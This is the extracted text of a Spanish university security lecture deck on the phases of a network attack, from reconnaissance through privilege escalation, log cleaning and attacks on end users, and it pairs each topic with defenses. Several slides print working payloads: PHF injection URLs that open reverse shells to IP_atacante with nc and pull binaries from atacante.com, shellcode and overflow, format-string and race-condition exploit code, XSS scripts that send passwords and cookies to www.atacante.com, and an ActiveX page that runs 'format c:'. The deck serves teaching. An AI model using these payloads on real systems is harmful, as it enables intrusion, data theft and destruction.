You are on page 1of 89

Seguridad en Redes

Tema 7.
Vunerabilidades y Amenazas

La carrera por la supervivencia


2

Presente desde los albores de la humanidad


Desde mucho antes, es el motor de la evolucin

Segn los predadores van siendo ms efectivos cazando, tambin evolucionan


sus presas

Estrategias de ataque cada vez ms elaboradas

Guepardo vs. Gacela

La lengua de los camaleones


Cacera en grupo (lobos)

Estrategias de supervivencia tambin muy sofisticadas

Polillas sensibles a los ultrasonidos


Estrategias de camuflaje/engao

La carrera por la supervivencia


3

http://www.mlatv.com/2007/10/fotos-camuflaje-en-los-insectos.html

La carrera por la supervivencia


4

Es sabia la naturaleza?

Bsicamente funciona por ensayo y error


Lleva 4.600 millones de aos funcionando

La seguridad de sistemas tambin es una carrera

Ciclo continuo de nuevas vulnerabilidades descubiertas y formas de


solucionarlas
Problema: nosotros no tenemos 4600 millones de aos
Ciertos factores aceleran el proceso

La globalidad de las comunicaciones


La inteligencia

Pero lo acelera para ambas partes (y MUCHO)

De qu velocidad estamos hablando?


5

Estadsticas del ao 2006 (434 organizaciones)


(http://www.cert.org/archive/pdf/ecrimesurvey06.pdf):

Virus: 72 %
Spyware: 51 %
Phishing: 31 %
Spam no autorizado: 40 %
Accesos no autorizados: 60 %

DoS: 36 %
Captura de informacin secreta:
19 %
Fraude: 29 %
Robo de identidad: 19 %

Toda mquina o red conectada a Internet es


potencialmente vulnerable a ataques

Qu pretendemos?
6

Conocer al enemigo

A primera vista, los atacantes


En profundidad, las vulnerabilidades y amenazas

Punto de vista del atacante experto


7

Eleccin de objetivos

Qu proteger

Comprensin de vulnerabilidades

Diseo seguro

Localizacin de vulnerabilidades

Qu est desprotegido

Ejecucin de un ataque

Cmo detectar / contrarrestar

Fases de un ataque modelo


8

Reconocimiento: analizar el sistema objetivo

Acceso remoto

Valorar su inters
Valorar sus posibles vulnerabilidades
Anlisis de beneficios y costes
Ser capaz de dar rdenes arbitrarias a la mquina
Acceso como usuario a la mquina

Escalada de privilegios

Conseguir los permisos necesarios para alcanzar el objetivo


(generalmente administrador)

Fases de un ataque modelo


9

Objetivo concreto del ataque

Robo o alteracin de informacin


Despliegue de malware
Uso de la mquina como pasarela para otro ataque

Mantenimiento del acceso


Borrado de huellas

y todo comenz con una pequea vulnerabilidad

Fases de un ataque
10

Reconocimiento
Acceso remoto
Escalada de privilegios
Objetivo concreto del ataque
Mantenimiento del acceso
Borrado de huellas

Reconocimiento
11

Proceso esencial en un ataque serio

Analoga: asalto a un banco

Tres fines primordiales:

Analizar la red en busca de un objetivo valioso


Descubrir los posibles puntos de ataque
Planificar el ataque

Reconocimiento
12

Tcnicas de reconocimiento

Footprinting
Obtener

informacin acerca del banco

Scanning
Inventario

de puertas y ventanas

Enumeration
Ir

al banco a hacerse una cuenta para ver el procedimiento


Entrevistarse casualmente con los empleados del banco

Vulnerability Mapping
Revisar

archivos de ataques a sucursales del mismo banco

Footprinting
13

Averiguar todo lo posible sobre la posible red objetivo y su

seguridad

Qu tipo de informacin alberga la red


Nombres de dominio asociados a la red
Mquinas accesibles desde el exterior
Servicios TCP y UDP accesibles desde cada mquina

Diferentes tcnicas en funcin del objetivo

Bsqueda automtica de vulnerabilidades especficas, auditora


de sistemas

Footprinting. Tcnicas
14

Navegar por la Web de la entidad objetivo (si la hay)

Informacin acerca de la rentabilidad del ataque


Polticas de seguridad pblicas
Nmeros o e-mails de contacto
Cdigo fuente de la pgina

Consultas en buscadores y bases de datos

Google, Altavista, Yahoo


Bases de datos gubernamentales o empresariales

Footprinting. Tcnicas
15

Bases de datos WHOIS

Asocian nombres de dominios o IPs a entidades


Interfaz web o mediante protocolo whois
http://www.ripe.net
$whois

nombre_dominio h
whois.ripe.net

Qu se puede obtener?:
Direcciones

postales de entidades
Datos de contacto de administradores de red
Organizacin que asigna determinada direccin IP
Nombres de mquinas concretas (servidores DNS)

Footprinting. Tcnicas
16

Bases de datos WHOIS

Footprinting. Tcnicas
17

Consultas DNS

Los DNS asocian nombres de dominio a direcciones IP


Transferencia de zona

Redundancia entre servidores DNS primarios y secundarios


Slo debe responder a DNSs secundarios del dominio
Debe separarse la informacin externa (pblica) de la interna

Qu puede ocurrir si est mal configurado?


nslookup dns.uah.es
>set type=any
>uah.es
notas
1D IN A 192.168.0.256
1D IN HINFO Server Notas W2003
uah.es mail exchanger = 10 mail.uah.es

Footprinting. Tcnicas
18

Traceroute

Muestra la ruta que sigue un paquete hasta su destino


Puede enviar paquetes ICMP y UDP a diferentes puertos
Permite obtener informacin sobre la topologa de la red y los controles de
acceso
$
1
2
3

traceroute it.aut.uah.es
192.168.128.1 6.651ms 12.562ms 49.592 ms
172.29.0.254 12.702ms 1.744ms 50.681 ms
* * * (100% loss)

$ traceroute S p 53 it.aut.uah.es

Proteccin contra Footprinting


19

Conocer y controlar la informacin que se


expone en webs y bases de datos de acceso
pblico
Configurar adecuadamente nuestros servidores
DNS

No permitir transferencias de zona annimas


Segregar el servicio de nombres interno del externo

Control de acceso adecuado en los firewalls

Permitir el paso slo al trfico estrictamente


necesario

Scanning
20

Determinar qu mquinas estn vivas

Barridos de pings (a un host o a toda una subred)


nmap - www.insecure.org/nmap
$nmap sP 192.168.1.0/24 (ICMP ECHO)
$nmap sP PT 80 192.168.1.0/24 (TCP 80)

Obtener informacin sobre su configuracin

Consultas mediante paquetes ICMP


icmpquery - http://packetstormsecurity.org/UNIX/scanners/icmpquery.c
$icmpquery t 192.168.1.1 (ICMP TIMESTAMP)
192.168.1.1: 11:02:05
$icmpquery n 192.168.1.1 (ICMP NETMASK)
192.168.1.1: 0xFFFFFFE0

Scanning
21

Escaneo de puertos (Port Scanning)

Enviar peticiones a puertos TCP y UDP de la mquina


Permite identificar servicios activos en una mquina
Netcat - permite utilizar sockets desde lnea de rdenes
$nc v z w 2 192.168.1.1 1-140

Diferentes tcnicas de escaneado

TCP connect. Hace una conexin completa al puerto


objetivo
TCP SYN scan (stealth). Se enva slo el paquete SYN
$nmap sS 192.168.1.1
($nmap h )

Proteccin contra scanning


22

Permitir el paso a la red nicamente de los


paquetes que sean necesarios

Mecanismos de deteccin

Bloquear ICMP 8,13,17


Permitir slo determinados puertos TCP y UDP
Aislar las mquinas internas de la red (firewalls)
IDS a nivel de red (http://ww.snort.org)
Herramientas a nivel de host (scanlogd, ZoneAlarm)

Mecanismos de reaccin

Enumeracin
23

Obtener informacin sobre los servicios detectados

Nombres de usuario
Versin del software del servicio
Sistema operativo de la mquina que ofrece el servicio
El objetivo es encontrar potenciales vulnerabilidades

Banner grabbing

Conectar al servicio y analizar la salida obtenida


Ejemplo: HTTP
$telnet www.nombredominio.com 80
Server: Apache/1.3.12 (Unix) PHP/4.0.4
mod_ssl/2.6.6 OpenSSL/0.9.5a

Otros: SMTP, DNS, finger

Enumeracin
24

TCP/IP Stack Fingerprinting

Cada S.O. implementa TCP/IP de un modo particular

Tamao inicial de la ventana TCP


Respuesta ante determinados paquetes (FIN)
Valores de determinados campos TCP (TTL, flags)

Es posible determinar qu S.O. utiliza una mquina a partir del


comportamiento de la pila de protocolos TCP/IP
Tcnicas pasivas: capturar trfico e identificar patrones
Tcnicas activas: realizar tests especficos
$nmap O 192.168.1.1

Enumeracin
25

Enumeracin en redes NetBIOS

Listar los dominios de una red


C:\>net view /domain

Listar las mquinas de un dominio


C:\>net view /domain:DOMINIO

Listar los recursos de una mquina


C:\>net view \\MAQUINA

Acceder al registro de una mquina


C:\>regdmp -m \\MAQUINA
HKEY_LOCAL_MACHINE

Proteccin de Enumeracin
26

Deshabilitar servicios innecesarios


Reforzar la configuracin de seguridad de los
servicios que ofrecen informacin de la red

NetBIOS
SNMP

Bloquear conexiones a determinados servicios a


nivel de firewall

Vulnerability mapping
27

Asociar la informacin obtenida del sistema


objetivos con potenciales vulnerabilidades

Buscar los atributos del sistema en bases de datos de


vulnerabilidades

http://www.cert.org
http://www.bugtraq.org

Utilizar exploits disponibles en la red (o escribirlos) y


lanzarlos contra la mquina objetivo
Utilizar herramientas automatizadas de bsqueda de
vulnerabilidades

http://www.nessus.org

Fases de un ataque
28

Reconocimiento
Acceso remoto
Escalada de privilegios
Objetivo concreto del ataque
Mantenimiento del acceso
Borrado de huellas

Acceso remoto
29

Qu significa acceso?

Poder cumplir nuestro objetivo sobre la mquina


En general, poder ejecutar rdenes shell

Cmo acceder remotamente a un sistema?

A travs de servicios a la escucha


Usuarios que puedan facilitarnos el acceso
Interfaces en modo promiscuo

Ataques de fuerza bruta


30

Muchos servicios emplean autenticacin basada en contraseas

Telnet, FTP, POP, SMTP


Comunidades SNMP

Ataque de fuerza bruta: ir probando contraseas hasta ganar


acceso

Probar las combinaciones ms usuales


Ataques basados en diccionario
Utilidades que automatizan el proceso (Brutus, SNMPBrute)

Mecanismos de prevencin

Polticas de contraseas
Polticas de bloqueo de cuentas

Ataques basados en datos


31

Explotan errores de programacin en los servicios

Qu ocurre si a un programa que espera un nmero


se le introduce una letra?

El programa se comporta de forma inesperada

Lo ms probable, que deje de funcionar (DoS)


Acceso a funcionalidades no previstas
Lo ms peligroso, ejecucin arbitraria de cdigo

Errores de validacin de entrada


32

Ocurre cuando un programa no comprueba la validez de los datos


introducidos antes de emplearlos para algo sensible
Un clsico: el exploit de PHF (1996)

/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

El script utilizaba el parmetro Qalias en una llamada a popen(), que


pretenda ejecutar la orden
/usr/local/bin/ph m Qalias

Como el carcter %0a representa el retorno de carro que se ejecutaba


realmente era
/usr/local/bin/ph m x
/bin/cat /etc/passwd

Permita ejecutar rdenes shell arbitrarias (!)

Errores de validacin de entrada


33

Otro ejemplo: tratamiento de cadenas en C y Perl

Imaginemos un script en perl que utiliza un parmetro de entrada para


escoger un fichero de plantilla que mostrar al usuario
/cgi-bin/showpage.pl?template=main
El script le aade al parmetro template la extensin .htm y realiza una
llamada a open()

Aparentemente seguro: slo permite abrir .htm


Si le pasamos como parmetro /etc/passwd simplemente no encontrara el
fichero

Sin embargo, el script est escrito en Perl y open() est escrita en C

/cgi-bin/showpage.pl?template=/etc/passwd%00
Perl aade .htm a la cadena /etc/passwd%00.htm
open() corta la cadena en el \0 y muestra el fichero de passwords

Buffer Overflows
34

Imaginemos el siguiente cdigo

void funcion (char * cadena) {


char buffer[512];
strcpy(buffer, cadena);
}

Problema: strcpy no comprueba si cadena cabe en buffer

En la mayora de los casos, provocar la terminacin del programa


Pero puede producir resultados an peores

Stack-based Overflows
35

En la pila se almacena:

Los parmetros de la funcin


La direccin de retorno (IP)
El espacio para la variable
buffer

Si cadena > buffer

Se sobreescribe IP
El programa salta a la nueva
direccin de retorno
Ejecucion arbitraria de cdigo
En general, el cdigo va en
cadena

buffer
cadena

IP
*cadena

Pila (Stack)

Stack-based Overflows. Ejemplo


36
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}

Stack-based Overflows
37

En muchos casos, vulnerabilidad crtica

En general, denegacin de servicio


Puede provocar ejecucin arbitraria de cdigo
Especialmente problemtica en ficheros SUID

Difcil de explotar (en principio)

Requiere conocer el espacio de direccin de pila


Necesita que el buffer sea suficientemente grande
Especialmente compleja la explotacin remota

Ataques basados en datos


38

Mecanismos de prevencin

Prcticas de programacin seguras


Auditar y probar los programas
Desactivar los servicios innecesarios
Tener el software actualizado
No permitir la ejecucin de la pila (a nivel de SO)

Mecanismos de deteccin

Sistemas de deteccin de intrusiones

Obtencin de shells
39

Servicios tradicionales de interprete de rdenes

Telnet, rlogin, ssh


Vulnerabilidades

Passwords dbiles
Relaciones de confianza (fichero .rhosts)

Escenario de ataque (vulnerabilidad PHF):


$ echo "+ +" > /tmp/my.rhosts
$ echo "GET /cgi-bin/phf?Qalias=x
%0arcp+yo@atacante.com:/tmp/my.rhosts+ ~/.rhosts" | nc -v -w 20
victima.com 80
$ rsh -l nobody victima.com "/bin/sh -i"
nobody@victima.com$

Qu ocurre si no estn activos estos servicios?

Obtencin de shells
40

Aprovechar los terminales de X Window


/cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20display%20
IP_atacante:0.0

Abrir canales de Telnet inversos

Poner servidores en la mquina atacante escuchando en


puertos permitidos por el firewall
# nc l n v p 80
# nc l n v p 25
(en ventanas diferentes)

Obtencin de shells
41

Abrir canales de Telnet inversos

Abrir una shell en la mquina vctima y redirigirla hacia


los servidores de la mquina atacante
/cgi-bin/phf?Qalias=x%0a/bin/telnet%20IP_atacante%2080%20|%20/bin/sh
%20|%20/bin/telnet%20IP_atacante%2025

La orden que se ejecuta es


/bin/telnet IP_atacante 80 | /bin/sh | /bin/telnet IP_atacante 25

Obtencin de shells
42

nc p 80

Firewall

Atacante

telnet IP_atacante 80

nc p 25

telnet IP_atacante 25

/bin/sh
Vctima
/bin/telnet IP_atacante 80 | /bin/sh | /bin/telnet IP_atacante 25

Obtencin de shells
43

Canales inversos con nc

Poner un servidor a la escucha en la mquina


atacante
# nc l n v p 80

Abrir una shell en la mquina vctima y redirigirla hacia


los servidores de la mquina atacante
/cgi-bin/phf?Qalias=x%0a/x%0a/bin/nc%20-e%20/bin/sh
%20IP_atacante%2080

La orden que se ejecuta es


nc -e /bin/sh IP_atacante 80

Obtencin de shells
44

Canales inversos con nc

Si el servidor no tiene nc
/cgi-bin/phf?Qalias=x%0arcp+yo@atacante.com:/tmp/nc+ ~/nc
%0a~/nc%20-e%20/bin/sh%20IP_atacante%2080

La orden que se ejecuta es


rcp yo@atacante.com:/tmp/nc ~/nc
~/nc -e /bin/sh IP_atacante 80

Obtencin de shells
45

Mecanismos de proteccin

Desactivar X Window en servidores y mquinas que


no lo necesiten
Ajustar los permisos de ejecucin de ficheros binarios
como telnet o ssh para que no puedan ser
ejecutados desde los usuarios de servicios como
nobody.
Bloquear en el firewall las conexiones que se generan
desde los servidores

Fases de un ataque
46

Reconocimiento
Acceso remoto
Escalada de privilegios
Objetivo concreto del ataque
Mantenimiento del acceso
Borrado de huellas

Escalada de Privilegios
47

Obtener los privilegios necesarios para el objetivo


del ataque

En general, el atacante ha obtenido una shell sin


privilegios (nobody)
Explotar vulnerabilidades locales para obtener
privilegios de root
En ocasiones puede bastar con privilegios intermedios

Escalada de Privilegios
48

Password cracking (e.g. UNIX)

Las contraseas se guardan encriptadas en el fichero /etc/passwd


o /etc/shadow
root:cwIBREDaWLHmo:0:0:root:/root:/bin/bash

Hay utilidades que permiten realizar ataques de fuerza bruta contra estos
ficheros

Encriptan una contrasea y comparan el resultado


Prueban todas las combinaciones, o utilizan diccionarios y reglas
Crack, John the Ripper

Requiere acceso al fichero que contiene los passwords

Escalada de Privilegios
49

Permisos de acceso a ficheros

Una mala gestin de los permisos de ficheros puede generar grandes


vulnerabilidades
Ficheros con informacin sensible y permisos de lectura

Fichero /etc/shadow legible

Ficheros sobre los que pueda escribir cualquier usuario

find / -perm -00002 type f print


Pueden permitir a un atacante modificar aspectos crticos del sistema

Ficheros SUID:

Se ejecutan con los permisos de su propietario

find / -perm -04000 type f print

La ejecucin arbitraria de cdigo nos permite escalar a los privilegios del


propietario
El control sobre este tipo de ficheros es crtico para la seguridad

Escalada de Privilegios
50

Stack-based overflow local

Anlogo al que veamos en


acceso remoto
Especialmente peligroso en
ficheros SUID root

Heap/BSS overflow

Heap: regin de memoria


para reservas dinmicas
Adyacente a la regin BSS
(variables estticas)

Heap / BSS Overflow. Ejemplos


51

Ejemplo de cdigo
int main(int argc, char **argv)
{
FILE *tmpfd;
static char buf[BUFSIZE], *tmpfile;
tmpfile = "/tmp/vulprog.tmp";
printf("Enter one line of data");
gets(buf);
tmpfd = fopen(tmpfile, "w");
fputs(buf, tmpfd);
fclose(tmpfd);
}

Heap / BSS Overflow. Ejemplos


52

Ejemplo de ataque (sobreescribe /root/.rhosts)


memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# ");
memset(buf + strlen(buf), 'A', DIFF);
addr = getesp() + OFFSET;
for (i = 0; i < sizeof(u_long); i++)
buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);
memset(mainbuf, 0, sizeof(mainbufsize));
snprintf(mainbuf, mainbufsize - 1,
"echo '%s' | programa /root/.rhosts\n",buf);
system(mainbuf);

Heap / BSS Overflow. Ejemplos


53

Otro ejemplo de cdigo

int

funcion(const char *str);

int main(int argc, char **argv)

static char buf[BUFSIZE];


static int (*funcptr)(const char *str);
funcptr = (int (*)(const char *str))funcion;
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], strlen(argv[1]));
(void)(*funcptr)(argv[2]);
return 0;
}

Heap / BSS Overflow. Ejemplos


54

Ejemplo de ataque (ejecucin de cdigo)


sysaddr = (u_long)&system - OFFSET;
memset(buf, 'A', BUFSIZE);
for (i = 0; i < sizeof(sysaddr); i++)
buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;
execl(programa, programa, buf, /bin/sh", NULL);
return 0;

Ejecutar la funcin system(/bin/sh)

Condiciones de carrera
55

Aprovechan ventanas temporales en las que un proceso


es vulnerable
Ejemplo de cdigo
void main (int argc, char **argv) {
int fd;
if (access(argv[1], R_OK) != 0)
exit(1);
fd = open(argv[1], O_RDONLY);
// Procesamos el fichero
}

Condiciones de carrera
56

Ejemplo de ataque
void
//
//
//
//

main (int argc, char **argv) {


Directorios y links:
dir0/lnk -> fichero accesible
dir1/lnk -> /etc/shadow
activedir -> dir0

if (fork() == 0) {
system(programa activedir/lnk"); exit(0); }
usleep(1);
// Cambiar directorios
unlink("activedir");
symlink("dir1", "activedir");
}

Cadenas de formato (Format Strings)


57

Funciones como printf() y sprintf() utilizan una


cadena de caracteres para dar formato.
printf(Ttulo: %s %d, cadena,
entero);

Qu caracteres de formato podemos utilizar?

%d:
%x:
%s:
%n:

entero por valor


hexadecimal por valor
string por referencia (char *)
almacena nmero de caracteres escritos (int *)

Cadenas de formato (Format Strings)


58

En la pila se almacena:

Llenado de la pila

entero

*cadena

*cadenaF

IP

Pila (Stack)
Memoria

La funcin va procesando la cadena de formato carcter a carcter

Al encontrar %, determina el tipo de parmetro y lo coge de la


pila

Cadenas de formato (Format Strings)


59

Imaginemos el siguiente cdigo


void funcion (char * cadena) {
printf(%s, cadena);
printf(cadena);
}

La segunda llamada a printf es vulnerable

Se toma como cadena de formato la cadena


introducida por el usuario
Insertando % adecuadamente, el usuario puede
controlar la funcin

Cadenas de formato (Format Strings)


60

Qu posibilidades de explotacin permite?

Denegacin de servicio

printf(%s%s%s%s%s%s%s%s%s%s%s%s%s%s);

Volcado de pila

printf(%08x.%08x.%08x.%08x.%08x.%08x.);

Llenado de la pila

*cadena

Pila (Stack)
Memoria

IP

Cadenas de formato (Format Strings)


61

Qu posibilidades de explotacin permite?

Asistencia a un buffer overflow

Ejemplo de cdigo (bftpd)


char

outbuf[512];

char

buffer[512];

sprintf (buffer, "ERR Wrong command: %400s", user);


sprintf (outbuf, buffer);

El primer snprintf limita la longitud de la cadena a 400


bytes
El segundo snprintf es vulnerable
Podemos utilizar cadenas de formato para agrandarla
"%497d\x3c\xd3\xff\xbf<shell>"

Cadenas de formato (Format Strings)


62

Qu posibilidades de explotacin permite?

Lectura ARBITRARIA de memoria

Requiere un tipo de formato adecuado: %s


Requiere que coloquemos en la pila la direccin a leer
Dnde colocarla? En la propia cadena de formato

printf(\x10\x01\x48\x08_%08x.%08x.%08x.|%s);

\x10\x01\x48\x08_%08x

Pila (Stack)
Llenado de la pila

*cadena

IP

Cadenas de formato (Format Strings)


63

Qu posibilidades de explotacin permite?

Escritura ARBITRARIA en memoria

Misma idea que en el caso anterior


Utilizamos %n para escribir en una direccin de memoria
arbitraria
printf(\x10\x01\x48\x08_%08x.%08x.%08x.%n);

Problema: no controlamos qu numero escribimos

\x10\x01\x48\x08_%08x

Pila (Stack)
Llenado de la pila

*cadena

IP

Cadenas de formato (Format Strings)


64

Qu posibilidades de explotacin permite?

Escritura ARBITRARIA controlada en memoria

Podemos manipular la cadena de formato para controlar


qu nmero escribimos
printf(%64u%n, 12, (int *) entero);

Problema: no sirve para nmeros grandes (e.g. direcciones)

Escritura arbitraria de direcciones

Podemos escribir cuatro veces, un byte cada vez


Solo factible si podemos llamar varias veces a la funcin
Poco til si la direccin en la que queremos escribir cambia

Cadenas de formato (Format Strings)


65

Qu posibilidades de explotacin permite?

Escritura ARBITRARIA controlada one-shot

Podra conseguirse con una llamada del tipo


printf(%16u%n%16u%n%32u%n%64u%n
,1,dir,1,dir+1,1,dir+2,1,dir+3);

Problema: difcil encontrar una llamada con esa estructura


Solucin: meter manualmente los parmetros en la pila

%08d...%08d\x01\x01\x01\x01\x10\x01\x48\x08...%3u%n

Pila (Stack)

IP

Cadenas de formato (Format Strings)


66

Qu posibilidades de explotacin permite?

Ejecucin arbitraria de cdigo sobreescribiendo la


direccin de retorno de la funcin en la pila

Ms sencillo por poder leer la pila (si hay varios intentos)

Pero no solo podemos sobreescribir la pila

GOT (Global Offset Table), independiente del entorno (!!!)


syslog (LOG_NOTICE, user);
exit (EXIT_FAILURE);

Se salta protecciones basadas en la pila


Punteros a funciones

Integer overflows
67

Se producen al intentar introducir en una variable numrica un


valor que supera la capacidad de la variable
Ejemplo de cdigo
int concatena(char *buf1, char *buf2, unsigned int len1,
unsigned int len2){
char buf[256];
if((len1 + len2) > 256){

/* [3] */

return -1;
}
memcpy(buf, buf1, len1);

/* [4] */

memcpy(buf + len1, buf2, len2);


...
}

Integer overflows
68

Pueden aprovecharse para esquivar controles de tamao en


escrituras en memoria

Si len1 = 0x104 y len2=0xfffffffc

len1 + len2 = 256 (!!!)


Podemos provocar un desbordamiento de buffer

Otro ejemplo
int copiar(char *buf, int len){
char kbuf [100];
if(len > sizeof(kbuf)){

/* [1] */

return -1;
}
return memcpy(kbuf, buf, len);
}

/* [2] */

Integer overflows
69

En este caso el problema es de conversin de signos

int: entero con signo


Llamada a memcpy(): recibe entero sin signo
Si len=-1 (0xfffffffe)

Pasa sin problemas el primer control


Se convierte en un entero grande al llamar a memcpy y
desborda

2008-04-02: vulnerabilidad en Realtek Audio Codec

Provocado por un integer overflow


Permite escribir en el registro de Windows y sobreescribir
zonas arbitrarias de memoria del kernel

Mecanismos de seguridad
70

Mecanismos de prevencin

Control riguroso de permisos de acceso a ficheros


Control de ficheros SUID
Prcticas de programacin seguras
Desactivar los servicios innecesarios
Tener el software actualizado
No permitir la ejecucin de stack o heap (a nivel de SO)
Parches de SO (Stackguard, FormatGuard)

Mecanismos de deteccin

Sistemas de deteccin de intrusiones

Una vez dentro


71

Reconocimiento
Acceso remoto
Escalada de privilegios
Objetivo concreto del ataque
Mantenimiento del acceso
Borrado de huellas

Una vez dentro...


72

Ganar acceso es slo el principio


Objetivo final del ataque

Obtener informacin valiosa que se encuentre en la


mquina
Capturar contraseas a servidores externos,
informacin bancaria, nmeros de tarjetas
Usar la mquina como pasarela para otro ataque
Denegacin de servicio

Una vez dentro...


73

Troyanos

Versiones modificadas de ficheros binarios del sistema

Mecanismos de deteccin: controles de integridad (Tripwire)

Sniffers: capturan paquetes de la red

Un login modificado que enve las contraseas al atacante


Servidores que permitan acceso remoto posterior

Pueden obtener contraseas y otra informacin valiosa de la vctima y de


otras mquinas
Mecanismos de prevencin: criptografa
Mecanismos de deteccin: IDS

Keyloggers: capturan pulsaciones de teclado

Una vez dentro...


74

Rootkits

Incluyen varias de las herramientas anteriores


Suelen incluir tambin mecanismos que evitan la
deteccin

Versiones modificadas de ls, ps

Kernel Rootkits

Modifican directamente el ncleo del sistema


Permiten ocultar ficheros, procesos, conexiones de red

Incluso engaan a utilidades como Tripwire

Casi imposibles de detectar

Una vez dentro...


75

Limpieza de logs

Borrado de huellas
Localizacin de logs

cat /etc/syslog.conf
Normalmente en /var/log

Puede requerir el empleo de utilizades especficas


(zapper)

cron, maillog, messages, wtmp

wzap para borra a un usuario en wtmp


ZAP2 borra wtmp, utmp y lastlog

Eliminar la historia de rdenes de la shell

~/.bash_history

Una vez dentro...


76

Mecanismos de seguridad

Una vez comprometido el sistema, es muy difcil


valorar el alcance de la intrusin
Mecanismos de prevencin: IDSs

Snort (http://www.snort.org)
LIDS Linux Intrusion Detection System
(http://www.lids.org)

Almacenamiento de logs en soporte no modificable


Estrategias de respuesta ante incidentes

Kits de recogida de evidencias (The Coroners Toolkit)

El eslabn ms dbil: El usuario


77

Por qu atacar al usuario final?

Mucho ms numeroso
En general, ms sencillo

Sabe menos de seguridad que un administrador


Emplea software mucho ms diverso

Pasarela de acceso a redes corporativas


Plataforma de lanzamiento de otros ataques

Ataques a usuarios finales

Suplantacin de identidad
Ejecucin de cdigo malicioso
Robo de informacin

Suplantacin de identidad
78

Phishing

Ataque de hombre en medio

Suplantar a un sitio web legtimo y conseguir que el usuario revele sus


credenciales de acceso a l
Para obtener credenciales de acceso a sitios seguros

Robo de Cookies de sesin

Suplantacin de identidad
79

Cross-site Scripting (XSS)

Utiliza sitios web donde los usuarios pueden subir contenidos


Un usuario malicioso inserta contenido HTML en el sitio Web
<SCRIPT Language=Javascript>
var passwrd=prompt(Your session has expired. Please enter you
password to continue.,);
location.href=http://www.atacante.com/p.cgi?p=+password
</SCRIPT>

Si el sitio Web no inspecciona el contenido antes de publicarlo, puede atacar


a otros usuarios
Otras posibilidades
<SCRIPT Language=Javascript>
cook=document.cookie
location.href=http://www.atacante.com/p.cgi?p=+cook
</SCRIPT>
<script src=http://www.atacante.com/script.js></script>

XSS Indirecto (URLs del tipo error.php?error=Fatal%20Error)

Ejecucin de cdigo malicioso


80

Subprogramas activos en pginas Web

Controles ActiveX o Applets de Java


Cada tecnologa dispone de sus propios mecanismos de seguridad
Especialmente problemtico cuando ficheros legtimos son vulnerables

Ejemplo: Software para HP color LaserJet 2820/2840.

Descubierta el 24 de abril de 2008


Contiene un control ActiveX HPeDiag.dll, vulnerable a un buffer overflow
El control est marcado como safe for scripting
Permite a un atacante ejecutar cdigo arbitrario en la mquina vctima si
visita una determinada Web

Ejecucin de cdigo malicioso


81

Otro ejemplo: HP Info Center (HPInfoDLL.dll )

Marcado safe for scripting


No tiene vulnerabilidades convencionales
Permite a la pgina web que lo lanza ejecutar, entre otros, los mtodos

VARIANT GetRegValue(String sHKey, String sectionName, String keyName);


void SetRegValue(String sHKey, String sSectionName, String sKeyName,
sValue);
void LaunchApp(String appPath, String params, int cmdShow);

Permite al atacante leer o escribir en el registro y ejecutar cdigo arbitrario

Ejecucin de cdigo malicioso


82

Ejemplo de ataque (muy simple):

<html>
<head>
<script language="JavaScript">
function spawn2()
{
o2obj.LaunchApp("c:\\windows\\system32\\cmd.exe","/C format c:,0);
}
</script>
</head>
<body onload="spawn2()">
<object ID="o2obj" WIDTH=0 HEIGHT=0
classid="clsid:62DDEB79-15B2-41E3-8834-D3B80493887A"
</object>
</body>
</html>

Ejecucin de cdigo malicioso


83

Ficheros adjuntos de correo electrnico

Ficheros ejecutables (.exe, .bat, .com)


Vulnerabilidades en otras aplicaciones (Winzip,
Mediaplayer, MSOffice)

Mecanismos de seguridad

Propios de cada tecnologa (security zones,


sandboxing)
Actualizaciones del sistema operativo y software
Cuidado al hacer click (aunque no siempre es fcil)
Acceder a Internet con usuarios sin privilegios

Botnets
84

Redes de mquinas comprometidas


(zombies)

En su mayora, mquinas de usuarios


finales o instituciones (universidades)

Infectadas por medio de worms

Controladas a travs de IRC


El controlador vende el acceso a la Botnet
como plataforma para cometer delitos

Robo de informacin
Ataques de denegacin de servicio
Envo de spam

Botnets
85

Ejemplo: Storm Botnet

Creada por medio del Storm Worm (enero 2007)


Se propaga a mquinas Windows por medio de spam

Unas 6000 mquinas dedicadas a esparcir el virus


Record de hasta 57 millones de mails en un da (agosto 2007)
Elevado nmero de mutaciones (2 a la hora)
2-50 millones de bots
El 1 de abril de 2008, nueva oleada de infeccin

Controlada por medio de protocolos P2P y trfico cifrado


Implicada en spam, phishing, DoS (incluso
contraataques)

Denegacin de Servicio (DoS)


86

Hacer que un servicio o sistema deje de funcionar


adecuadamente
Diferentes motivaciones

Ms sencillo que ganar acceso (en general)


Necesidad de reiniciar una mquina
Suplantacin
Sabotaje

Tipos de ataques DoS


87

Consumo de ancho de banda

Inundacin directa (>ancho de banda)


Inundacin inducida (Smurf)
Ataques de denegacin de servicio distribuidos
(DDoS)

Consumo de recursos de la mquina


Fallos de programacin
Ataques sobre la configuracin de red

Routers, DNSs

Conclusiones
88

Internet no es segura

Debemos intentar evitar que nuestro sistema sea vctima


de un ataque

Toda mquina es potencialmente vulnerable a ataques


Existen tcnicas muy diversas (y de diferentes niveles de
sofisticacin) para comprometer una mquina
Una vez consumado el ataque, la recuperacin es costosa

Conocimiento de las tcnicas y vulnerabilidades


Despliegue de mecanismos de proteccin

Es una carrera por la supervivencia

Buscar, comprender, repetir

Referencias
89

Hacking Exposed. Network Security Secrets & Solutions.


Fifth Edition. McGraw-Hill
Incident Response. Investigating Computer Crime (2001,
McGraw-Hill)
Bases de datos de vulnerabilidades

http://www.cert.org
http://www.bugtraq.org

You might also like